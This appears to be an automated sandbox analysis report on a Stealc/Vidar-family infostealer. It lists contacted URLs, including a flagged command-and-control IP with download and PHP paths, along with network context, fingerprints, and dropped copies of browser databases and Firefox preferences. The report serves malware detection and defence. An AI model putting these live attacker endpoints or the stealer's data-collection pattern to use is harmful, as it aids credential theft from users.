http://anglebug.com/5007	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3862	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2134941060.000000006C7F1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1711896895.000000000569B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000001.00000003.1821192310.00001F3C00C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821158821.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820034690.00001F3C00C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825889097.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825952252.00001F3C00C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820059196.00001F3C00C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821808490.00001F3C00C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1826907001.00001F3C00C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821732666.00001F3C00ED8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Vi	chrome.exe, 00000001.00000003.1846291807.00001F3C0151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000001.00000003.1820972298.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840606601.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843605210.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850196994.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825600063.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871004594.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4384	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/eh	chrome.exe, 00000001.00000003.1846291807.00001F3C0151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000001.00000003.1840782476.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841309510.00001F3C01268000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843490901.00001F3C013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843038794.00001F3C012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841025015.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllrverAp	file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/3k	chrome.exe, 00000001.00000003.1846291807.00001F3C0151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.3.dr, chromecache_79.3.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825289713.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825226565.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825332907.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824094935.00001F3C01068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825258508.00001F3C00A14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000001.00000003.1840782476.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841309510.00001F3C01268000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843490901.00001F3C013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843038794.00001F3C012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841025015.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_79.3.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1845395435.00004C940080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1809117451.00004C9400390000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll-progrU	file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/hh	chrome.exe, 00000001.00000003.1846291807.00001F3C0151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7604	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000001.00000003.1809576492.00004C9400684000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7761	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7760	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IJEHCGIJ.0.dr	false		unknown
http://anglebug.com/5901	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3965	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6439	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.110	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545110
Start date and time:	2024-10-30 06:15:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 142.250.185.238, 64.233.167.84, 34.104.35.123, 142.250.184.202, 172.217.23.106, 142.250.185.106, 216.58.206.74, 142.250.186.42, 172.217.18.10, 142.250.186.170, 142.250.185.74, 142.250.74.202, 142.250.186.138, 142.250.186.106, 216.58.212.138, 142.250.186.74, 172.217.16.202, 172.217.16.138, 142.250.184.234, 199.232.214.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
01:16:31	API Interceptor	47x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://eot.lps-china.com/f/a/pQ-JA2nitAQtMB92xwUcGg~~/AAAHUQA~/RgRpAabzP4QTAWh0dHBzOi8vYmVyZW5pY2UuZW9tYWlsOC5jb20vdW5zdWJzY3JpYmU_ZXA9MiZsPTVlNmE0MDU2LWVhZTMtMTFlZS1hNzNjLWM1NDU2ZDI0OGQ3OCZsYz0zMmVlMmQ3Yy0zMjA4LTExZWYtYTFiZS1lYjMwYzAwY2FlZDgmcD05NDM1NjNkYy05Mzc2LTExZWYtYTdkMi00NTk0MDQ5OWMzNTYmcHQ9Y2FtcGFpZ24mcHY9NCZzcGE9MTczMDA5MzQ0NCZ0PTE3MzAwOTM1NTUmcz1mNWE2NDYwZWE1NTFlYzYxZDFiNjJhZTBhNTI2NGFhNjdmYWMxN2I1MzRkNWI4MzdhNTA0MDAwM2ZhNmZmMGUwVwVzcGNldUIKZw7zIR9n2KUgilIeZ2VtbWEubG9yZW56b0BkdWJhaWhvbGRpbmcuY29tWAQAAAL5	Get hash	malicious	Unknown	Browse
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/creditodigitalelmo.com.br/solo/i2975ufuy18zkhauvhibzzxy/YWRzQGJldHdlZW4udXM=	Get hash	malicious	HTMLPhisher	Browse
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse
	https://alcatrazpackages.com/elchapo.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0HUxKfIvSV.exe	Get hash	malicious	Clipboard Hijacker	Browse
	0HUxKfIvSV.exe	Get hash	malicious	Clipboard Hijacker	Browse
	completedfiles.....pdf	Get hash	malicious	Unknown	Browse
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://eot.lps-china.com/f/a/pQ-JA2nitAQtMB92xwUcGg~~/AAAHUQA~/RgRpAabzP4QTAWh0dHBzOi8vYmVyZW5pY2UuZW9tYWlsOC5jb20vdW5zdWJzY3JpYmU_ZXA9MiZsPTVlNmE0MDU2LWVhZTMtMTFlZS1hNzNjLWM1NDU2ZDI0OGQ3OCZsYz0zMmVlMmQ3Yy0zMjA4LTExZWYtYTFiZS1lYjMwYzAwY2FlZDgmcD05NDM1NjNkYy05Mzc2LTExZWYtYTdkMi00NTk0MDQ5OWMzNTYmcHQ9Y2FtcGFpZ24mcHY9NCZzcGE9MTczMDA5MzQ0NCZ0PTE3MzAwOTM1NTUmcz1mNWE2NDYwZWE1NTFlYzYxZDFiNjJhZTBhNTI2NGFhNjdmYWMxN2I1MzRkNWI4MzdhNTA0MDAwM2ZhNmZmMGUwVwVzcGNldUIKZw7zIR9n2KUgilIeZ2VtbWEubG9yZW56b0BkdWJhaWhvbGRpbmcuY29tWAQAAAL5	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/creditodigitalelmo.com.br/solo/i2975ufuy18zkhauvhibzzxy/YWRzQGJldHdlZW4udXM=	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://alcatrazpackages.com/elchapo.html	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	completedfiles.....pdf	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/uc?export=download&id=1rG5XITnDsiVQCEMAfg1Ex3pDcYxrlv0N	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	5BQwrSLxIZ.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\FCGIJKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHDGHJEBGIDGDGIJJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFIJKKKKKFCAAAAFBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECFHDBAAECAAKFHDHIIJKFHJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEHCGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
